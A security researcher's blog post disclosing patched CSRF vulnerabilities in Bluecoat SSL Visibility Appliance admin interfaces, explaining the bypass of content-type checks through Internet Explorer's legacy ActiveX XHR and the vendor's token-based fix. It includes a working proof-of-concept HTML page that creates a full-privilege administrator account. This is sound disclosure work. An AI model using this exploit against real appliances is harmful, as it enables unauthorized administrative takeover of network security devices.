Vulnerabilities in Bluecoat SSL Visibility Appliances

Originally published here: https://www.optiv.com/blog/vulnerabilities-in-bluecoat-ssl-visibility-appliances

Bluecoat and CERT published security advisories for vulnerabilities in the administrative interface of the Bluecoat SSL Visibility Appliances, now patched in version 3.8.4–15 (CVE-2015–2852, CVE-2015–2853, CVE-2015–2854, and CVE-2015–2855). Since I originally identified these vulnerabilities, this will be the “inside baseball” report on some of the details I had been sitting on while the products were fixed.

For those of you not familiar with the Bluecoat SSLV appliances, from the product overview website:

“Encryption protects data from being viewed in transit over the Internet — but it also creates a serious blind spot for threats, malware, Data Loss Prevention (DLP) and other regulatory or compliance risks…. The Blue Coat SSL Visibility Appliance is an integral component to any encrypted management strategy, and offers complete visibility into encrypted traffic without requiring the re-architecting of the network infrastructure. The SSL Visibility Appliance lets you add SSL inspection capabilities to your network security architecture and close the security visibility loophole created by encrypted traffic.”

A few months ago, when one of our larger clients performed their own in-house network penetration tests that included the administrative interface for their Bluecoat SSLV appliances, a few blips popped up on their radar, so they asked us to take a deeper dive into the application layer. Here’s what we found …

CSRF

The vulnerable versions of the SSLV appliances that we tested had a systemic instance of Cross Site Request Forgery (CSRF), which could be leveraged by an attacker to trick an authenticated administrator’s browser into:

  • Creating/editing/deleting administrator accounts.
  • Modifying policies
  • Modifying SSL decryption keys

The core of the application is a RESTful web service that powers a single-page app (SPA) user interface. Essentially a single set of JavaScript functions contains all of the presentation logic. Any requests to the server are encapsulated in JSON and sent with a very specific content type: “application/json-rpc.” However, the requests did not include anti-CSRF tokens.

Fortunately, JSON RPC makes exploitation of this CSRF difficult since the server does validate the content type headers. A typical web post will result in a request with the “text/plain” content type, which the server immediately rejected. Even the “application/json” content type was rejected. In modern browsers, if a request is packaged up to be sent with a custom content-type header, the request must go over XmlHttpRequest (XHR, a.k.a. AJAX), and the browser will perform a “pre-flight” check by sending the server a request like this:

OPTIONS /jsonHTTP/1.1
Host: bluecoat.example.com
Connection: keep-alive
Access-Control-Request-Method: POST
Origin: null
[…snip…]

And the Bluecoat appliance will respond with a “no thank you”:

HTTP/1.1 405 Method Not Allowed
Server: nginx/1.1.19
Date: Fri, 03 Apr 2015 03:41:04 GMT
Content-type: text/html
Allow: POST
Set-cookie: […snip…]
None

Within these constraints and on the browsers that support them, CSRF is successfully prevented. However, there is a looming shadow in the browser world: Internet Explorer still supports the legacy ActiveX implementation of XHR which does NOT perform the pre-flight OPTIONS check and will gladly send unvalidated requests to the server to execute. ActiveX is still a valid way to conduct CSRF attacks against applications that rely solely on content type and Cross Origin Resource Sharing (CORS) headers as CSRF prevention. [Side note: Microsoft’s new browser for Windows 10, code named “Spartan,” is slated to remove support for ActiveX, finally. However, it appears that IE11 will still be available alongside “Spartan” on Windows 10 for “enterprise compatibility.”]

The following is a proof of concept example CSRF attack against the vulnerable versions of SSLV. This, of course, requires Internet Explorer to open the HTML within an IE “security zone” that will execute ActiveX controls and may or may not (depending upon configuration) prompt the user about the ActiveX:

<html><title>CSRF via Legacy ActiveX XHR</title>
<body><script>
var json = ‘{“jsonrpc”:”2.0",”id”:”ID1337",”method”:”add_platform_user”,”params”:[{“password”:”L3ftH4nd3d!”,”uid”:”ehud”,”full_name”:”Created by CSRF”,”roles”:{“Manage Policy”:true, “Manage Appliance”:true, “Auditor”:true, “Manage PKI”:true}}]}’;
var xhr = new ActiveXObject(“Microsoft.XMLHTTP”);
xhr.open(“POST”,”https://bluecoat.example.com/json", true); xhr.setRequestHeader(‘Content-Type’, ‘application/json-rpc;charset=UTF-8’);
xhr.setRequestHeader(‘Content-Length’, json.length);
alert(“CSRF POST via XHR using ActiveX control w/JSON Content-Type, params ->” + json);
xhr.send(json);
</script></body></html>

Network admins who use a separate browser for device administration from regular web surfing are justified in that choice with vulnerabilities like this. Network admins who don’t use browsers configured to support ActiveX are even further justified.

Bluecoat fixed this vulnerability by using a CSRF token double-post strategy. CSRF tokens are now generated at successful login requests and passed to the browser in cookies designated for HTTPS only. When an actionable request is sent to the server, JavaScript in the browser places the CSRF token value in a special HTTP header in addition to the CSRF cookie, which makes the request difficult to predict and reproduce for an attacker. The server then validates that both values are identical and initiated from the server. The following is an example request with the double-post CSRF tokens highlighted:

POST /json HTTP/1.1
Host: bluecoat.example.com
Connection: keep-alive
Content-Length: 216
Accept: application/json-rpc
Origin: https://bluecoat.example.com
X-Csrf-Token: 5aeb7156b9053a77290776d35f293a6a83151f0b
Content-Type: application/json-rpc
Referer: https://bluecoat.example.com/sslng_ui.safari.2d12b387bf4b0bd80a32d3ad143c804c.cache.html
Cookie: sslng_csrf_token=5aeb7156b9053a77290776d35f293a6a83151f0b; sslng_session_id=bdae1c84a5286796e705c7fcc4a818d5a36488c4
{“jsonrpc”:”2.0",”id”:”ID1337",”method”:”add_platform_user”,”params”:[{“password”:”L3ftH4nd3d!”,”uid”:”ehud”,”full_name”:”Created by CSRF”,”roles”:{“Manage Policy”:true,”Manage Appliance”:true,”Auditor”:true,”Manage PKI”:true}}]}

Other Vulnerabilities

In addition to the CSRF, the SSLV appliances contained an unpatched version of nginx and also had some minor password policy, session, and cookie issues. Bluecoat addressed these issues as well.

Summary

Since commercial products like Bluecoat SSLV often play a critical role in an organization’s infrastructure, it is very important to ensure that products such as these have been thoroughly tested for application layer issues. Fortunately, you can now apply Bluecoat’s patch and have one less vulnerable device in your environment.